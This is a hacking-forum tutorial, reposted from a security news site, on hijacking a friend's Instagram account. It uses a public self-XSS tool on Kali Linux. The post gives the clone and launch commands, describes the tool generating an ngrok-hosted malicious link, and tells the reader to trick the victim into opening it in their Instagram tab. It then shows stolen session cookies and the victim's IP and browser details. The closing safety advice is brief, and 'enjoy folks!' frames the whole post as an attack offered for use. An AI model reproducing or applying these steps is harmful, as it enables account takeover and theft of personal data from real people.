# How To Hack Instagram Of Your Friend & Hijack His/Her Instagram Cookies

**URL:** <https://onehack.st/t/how-to-hack-instagram-of-your-friend-hijack-his-her-instagram-cookies/89244>\
**Category:** Tutorials & Methods\
**Tags:** hacking, tips-tricks\
**Created:** [May 31, 2020, 12:57pm UTC](https://onehack.st/t/how-to-hack-instagram-of-your-friend-hijack-his-her-instagram-cookies/89244 "2020-05-31T12:57:37Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![TheStrength](https://onehack.st/user_avatar/onehack.st/thestrength/32/46753_2.png) [@TheStrength](https://onehack.st/u/TheStrength)\
**Post date:** [May 31, 2020, 12:57pm UTC](https://onehack.st/t/how-to-hack-instagram-of-your-friend-hijack-his-her-instagram-cookies/89244/1 "2020-05-31T12:57:37Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/f/c/fc1fd0f7df6e048a25f82df7754c18528bfb6ba1.jpeg)

## Introduction

Do you know, its easy is to hack the Instagram account of your friend and hijack his or her Instagram cookies. This is one of the tricks used by hackers to steal your Instagram account. Whenever we logged into any website suppose Instagram, the Instagram server stores small piece code (also called **[web cookie](https://en.wikipedia.org/wiki/HTTP_cookie)** ) in our browsers. As commented by the **[researcher](https://www.iicybersecurity.com/ethical-hacking.html)** of the International Institute of Cyber Security, “ _If we are able to steal or Hijack these web cookies (we got after authenticating/logging on Instagram), we can log in to the Instagram account of that person_ “.

Today we will show, how easy is it to get the cookies of authenticated/logged user of a particular website that can be your friend or relative using the **Self-XSS** hacking tool. Self-XSS uses social engineering tool and using this hacker can gain control of the victims’ Instagram account.

## Environment

- **O** S: Kali Linux 2019.3 64 bit
- **Kernel version** : 5.2.0

## Installation Steps

- Use this command to clone the project.
- **git clone [https://github.com/thelinuxchoice/self-xss](https://github.com/thelinuxchoice/self-xss)**

```auto
root@kali:/home/iicybersecurity# git clone https://github.com/thelinuxchoice/self-xss
Cloning into 'self-xss'...
remote: Enumerating objects: 38, done.
remote: Counting objects: 100% (38/38), done.
remote: Compressing objects: 100% (37/37), done.
remote: Total 38 (delta 12), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (38/38), 12.79 KiB | 422.00 KiB/s, done.

```

- Use the cd command to enter into self-xss directory

```auto
root@kali:/home/iicybersecurity# cd self-xss/
root@kali:/home/iicybersecurity/self-xss#

```

- Now, use this command to launch the tool **bash self-xss.sh**

 ![image](https://onehack.st/uploads/default/original/3X/b/9/b967891904ea32cf3711441713b76a17e6741a65.jpeg)

**Self-XSS – Malicious code**

- After Launching the tool, first we have to enter the website name whose account we want to hack. In our case, it will be [https://instagram.com](https://instagram.com)
- Next, enter the Email and password details.
- Then the tool will downloads the Ngrok server automatically and start the PHP server and Ngrok server.
- Then it will give to malicious URL as we can see in the above picture.
- Now, send this malicious code to the victim using social engineering tricks and ask the victim to open this link in the same Instagram Browser Tab.

 ![instagrampaint-min-min-1024x874](https://onehack.st/uploads/default/original/3X/1/f/1fc59fa04f74bb02bf0a3c3e6182d818bb620376.jpeg)

**Self-XSS – Malicious code Injected**

- The Malicious code will captures the Instagram cookies and IP Address details of the victim and sends back to the hacker.
- Now go to hacker machine where self-XSS is running.
- go to cd /home/iicybersecurity/self-xss
- To verify, use the cat command to view the details of the cookies.
- cat cookies.backup

```auto
root@kali:/home/iicybersecurity/self-xss# cat cookies.backup
mid=XsYGMQALAAFTsuFdOqBKpj1oAJs6; csrftoken=2Z8ovGnPCnaRccQ7Og2GlPLWBIAj
4zFD; ds_user_id=29687340949

```

- We go the Instagram cookies.
- Now use cat command to view the IP and browser details .
  - **cat saved.ip.txt**

```auto
root@kali:/home/iicybersecurity/self-xss# cat saved.ip.txt
IP: 112.196.159.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36

```

Here, we successfully got the victims IP address with Machine details and victim’s Instagram cookies.

## Conclusion

Now, we saw how to find the cookies details of the victim using a self-XSS in combination with social engineering. So it is always recommended to never click on any suspicious link, and that too when you are logged into any social networking website or any other website.

_Source: securitynewspaper_

**enjoy folks!**